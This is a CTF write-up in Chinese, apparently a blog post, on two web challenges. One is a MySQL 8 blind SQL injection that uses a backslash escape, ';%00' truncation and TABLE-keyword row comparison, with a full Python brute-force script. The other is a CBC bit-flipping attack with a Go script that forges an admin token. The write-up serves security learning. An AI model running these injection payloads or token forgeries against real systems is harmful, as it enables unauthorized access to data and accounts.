前言

一个 愉快 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的毕竟第一次在ctf比赛中拿到一血。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。

学到的新东西

  1. MYSQL8新特性在SQL注入中的利用
  2. CBC字节反转攻击

mini_sql

题目分析

打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users 这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)

image-20220506164329614

存在SQL注入,先fuzz一下看ban掉了哪些关键字符

过滤了很多东西

#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if

可以看到select都用不了,还有注释单引号什么的,但发现 \ 并未被ban,所以根据它的sql语句可以在username处来个 \ 转义掉后面的 ' 即它后端的sql语句变成了这样

select * from users where username='\' and password='YOUR_INPUT';

而对于最后的这个 ',由于注释符被过滤了,所以可以使用 ;%00 来代替,截断后面的 '

所以后端的sql查询语句可以是

select * from users where username='\' and password='||1;%00'

构造payload发送,可以发现response了 success

image-20220506172451224

但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!fail!两种返回值。

基本上可以确定是要盲注了

但问题就难在这里or、 select、 union等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()version() 去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf ,但好像没啥用。但这个 version 就不一样了。

试了下payload

username=\&password=||version()=5;%00

发现竟然返回了 fail!,那就说明这是 mysql8 的版本。验证一下

image-20220506173726449

既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE 关键字。

前置知识

TABLE关键字(MYSQL8)

翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

它的作用和 SELECT * FROM table_name 的作用差不多,都是列出表的整个内容

(下文实例的所有users表内容均相同)

mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)

配合 LIMIT 关键字可以精确到某一行

mysql> TABLE users LIMIT 0,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)

mysql> TABLE users LIMIT 1,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | guest    | asd321   |
+------+----------+----------+
1 row in set (0.01 sec)

mysql> TABLE users LIMIT 1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)

还可以配合 ORDER BY 详情可以翻阅文档,这里不再赘述。

mysql的字符串比较

mysql中的字符串可以配合 () 和表的某一行进行比较,如:

mysql> SELECT (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1);
+----------------------------------------------------+
| (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)

# MYSQL8中使用 TABLE 关键字
mysql> SELECT (1,'admin','qwe123')=(TABLE users LIMIT 1);
+--------------------------------------------+
| (1,'admin','qwe123')=(TABLE users LIMIT 1) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

对于字符串之间的大小比较其规则是这样的:

不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 > 还是 < 直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:

mysql> SELECT 'a'<'C';
+---------+
| 'a'<'C' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)

mysql> SELECT 'e'>'ef';
+----------+
| 'e'>'ef' |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)

mysql> SELECT 'adc'<'aea';
+-------------+
| 'adc'<'aea' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

mysql> SELECT 'qwe'>'qwf';
+-------------+
| 'qwe'>'qwf' |
+-------------+
|           0 |
+-------------+
1 row in set (0.00 sec)

利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。

mysql> SELECT ('a','b','cd')<('a','b','ce');
+-------------------------------+
| ('a','b','cd')<('a','b','ce') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.01 sec)

mysql> SELECT ('a','b','cd')<('a','b','cd');
+-------------------------------+
| ('a','b','cd')<('a','b','cd') |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (0.00 sec)


mysql> SELECT ('a','b','cd')<('a','c','ab');
+-------------------------------+
| ('a','b','cd')<('a','c','ab') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)

和表查询结果比较

mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)

mysql> SELECT (1,'admin','')<(TABLE users LIMIT 1);
+--------------------------------------+
| (1,'admin','')<(TABLE users LIMIT 1) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1,'admin','qw')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qw')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT (1,'admin','qx')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qx')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set (0.00 sec)

所以可以利用这些来盲注爆破

题解

了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。

可以构造 payload :

username=1\&password=||(1,0x21,0x21)<(table users limit 1);%00

爆破脚本:

import requests

dic = '_0123456789abcdefghijklmnopqrstuvwxyz'  # 字典
url = "http://47.93.215.154:10000/login.php"

def str2hex(str):
    result = '0x'
    for i in str:
        result += hex(ord(i))[2:]
    return result

def boomSql():
    result = ''
    for i in range(1, 40):
        for j in range(len(dic)):
            #print(dic[j])
            
            # 手动测试第一个字段 id
            # 结果:1

            # 爆第二个字段 username
            # 结果: w3lc0me_t0_m1n1lct5
            # 16进制为 0x77336c63306d655f74305f6d316e316c637435
            payload1 = {"username": "1\\",
                        "password": f"||(1,{str2hex(result+dic[j])},0x21)<(table users limit 1);\x00"
                        }

            # 爆第三个字段 password
            # 结果:cd51c1005cab68be2f7e6112a4de3e88
            # 因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
            # 但是这仅限最后一个字段
            # 所以正确结果是cd51c1005cab68be2f7e6112a4de3e89
            payload2 = {"username": "1\\",
                        "password": f"||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00"
                        }

            res = requests.post(url=url, data=payload1)
            # print(res.text)
            if "success" in res.text:
                continue
            elif "fail" in res.text:
                # 返回假时表示上一个字母即为正确结果
                result += dic[j - 1]
                break
        print(result)
if __name__ == '__main__':
    boomSql()

运行得到 username 和 password

登录拿到flag

image-20220506203322665

checkin

题目分析

打开题目告诉

Only admin can get the secret!

然后仔细研究了一下这个token,发现最前面固定为 0001145141919810 ,然后…………..不会了

后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。

关键代码

//User的结构
type User struct {
	Name     string
	CreateAt int64
	IP       string
}

//初始化一个token
func IndexController(c *gin.Context) {
	_, err := c.Cookie("token")
	if err == nil {
		c.Redirect(http.StatusFound, "/home")
	}
    //token的结构,后面TokenDecrypt后的结构也是如此
	user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
	jsonUser, _ := json.Marshal(user)
	token, _ := utils.TokenEncrypt(jsonUser)
	c.SetCookie("token", token, 3600, "/", "", false, true)
	c.Redirect(http.StatusFound, "/home")
}

flagController.go文件:

func HomeController(c *gin.Context) {
	token, err := c.Cookie("token")
	if err != nil {
		c.Redirect(http.StatusFound, "/")
	}
	jsonUser, _ := utils.TokenDecrypt(token)
	user := models.User{}
	_ = json.Unmarshal([]byte(jsonUser), &user)
    //只要TokenDecrypt后的结构中的Name为admin就可拿到flag
	if user.Name == "admin" {
		file, _ := os.Open("/flag")
		defer file.Close()
		content, _ := ioutil.ReadAll(file)
		_, _ = c.Writer.WriteString(string(content))
	} else {
		_, _ = c.Writer.WriteString("Only admin can get the secret!")
	}
}

token.go文件:

var key = []byte(config.KEY)	//配置文件中的密钥(未知)但大小为16字节
var iv = []byte(config.IV)		//CBC加密的初始向量 0001145141919810 (16字节)

type tokenError struct {
	error string
}

func (e *tokenError) Error() string {
	return e.error
}

//对User进行CBC分组加密的函数
func TokenEncrypt(user []byte) (string, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}
	blockSize := block.BlockSize()		//密钥大小
	originData := pad(user, blockSize)	//根据密钥大小分组
	blockMode := cipher.NewCBCEncrypter(block, iv)	//创建加密对象,包含密钥key和初始向量IV
	encrypted := make([]byte, len(originData))		
	blockMode.CryptBlocks(encrypted, originData)	//CBC算法,详情见后文
	return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil								//base64编码
}
//按16字节一组进行分组
func pad(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padText := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padText...)
}

//CBC解密
func TokenDecrypt(user string) (string, error) {
	decodeData, err := base64.StdEncoding.DecodeString(user)
	iv = decodeData[:16]		//前16个字节为初始向量iv
	decodeData = decodeData[16:]	//后面为密文
	if err != nil {
		return "", &tokenError{"Invalid token"}
	}
	block, _ := aes.NewCipher(key)
	blockMode := cipher.NewCBCDecrypter(block, iv)
	originData := make([]byte, len(decodeData))
	blockMode.CryptBlocks(originData, decodeData)
	decrypted, err := unPad(originData)		//整合
	if err != nil {
		return "", &tokenError{"padding error"}
	}
	return string(decrypted), nil
}
//将多个原文组整合到一起
func unPad(ciphertext []byte) ([]byte, error) {
	length := len(ciphertext)
	unPadding := int(ciphertext[length-1])
	if unPadding < 1 || unPadding > 16 {
		return []byte(""), &tokenError{"padding error"}
	}
	for i := 0; i < unPadding; i++ {
		if int(ciphertext[length-i-1]) != unPadding {
			return []byte(""), &tokenError{"padding error"}
		}
	}
	return ciphertext[:(length - unPadding)], nil
}

然后…..又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。

前置知识

CBC全称Cipher Block Chaining,密码分组链接模式

大致的过程是:

  1. 将原文分为若干组,每组的大小一般为初始向量IV的大小,后面不足则填充到相应的大小
  2. 先将第一组与初始向量IV异或得到中间值,之后再用加密算法对中间值进行加密得到第一块Ciphertext,然后再用这块Ciphertext和第二块原文异或得到中间值,再对这个中间值加密得到第二块Ciphertext,后续操作亦是如此。
  3. 将每一块Ciphertext整合得到最终密文(一般还可以在最终的密文前带上初始向量IV,checkin这题就是这样)

解密反过来操作就行了,这里不再赘述

详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

加密过程

automne

解密过程

automne

从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文

CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。

automne

上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。

进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):

automne

从上图可以清楚得到:

A = P ^ BlockCipherDecryption(B)

需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B

对于分组的第n字节,相应地有:

A[n] = P[n] ^ BlockCipherDecryption(B[n]) 					//式(1)

变形得到:

BlockCipherDecryption(B[n]) = A[n] ^ P[n]					//式(2)

在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1

在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2

于是由式(1)式(2)得:

A[n] = P1 ^ A[n] ^ P2

调整顺序:

A[n] = A[n] ^ P1 ^ P2		

可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。

题解

由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest 变为 admin 即可

由上文分析不难推出最终计算所需 iv 的公式为

IV = IV ^ admin ^ guest			//这里计算的是对应的一个字节

exp:

package main

import (
	"encoding/json"
	"fmt"
	"time"
)

var iv = []byte("0001145141919810")

type User struct {
	Name     string
	CreateAt int64
	IP       string
}

func main() {

	var iv = []byte("0001145141919810")
	user := User{Name: "guest", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
	jsonUser, _ := json.Marshal(user)
	admin := User{Name: "admin", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
	jsonAdmin, _ := json.Marshal(admin)
	//每一组为16个字节,修改第一组即可
	for i := 0; i < 16; i++ {
		fmt.Print(string(iv[i] ^ jsonAdmin[i] ^ jsonUser[i]))
	}
}

运行得到所需iv为

0001145147(9#"10

将原来token前面的iv( 0001145141919810 )替换为 0001145147(9#"10 ,编码后发送,认证成功,拿到flag

include

很简单的签到题,这里不再赘述。

参考链接

https://www.codetd.com/article/13126014

https://www.jianshu.com/p/f4684322e851

https://dev.mysql.com/doc/refman/8.0/en/table.html

https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/

https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/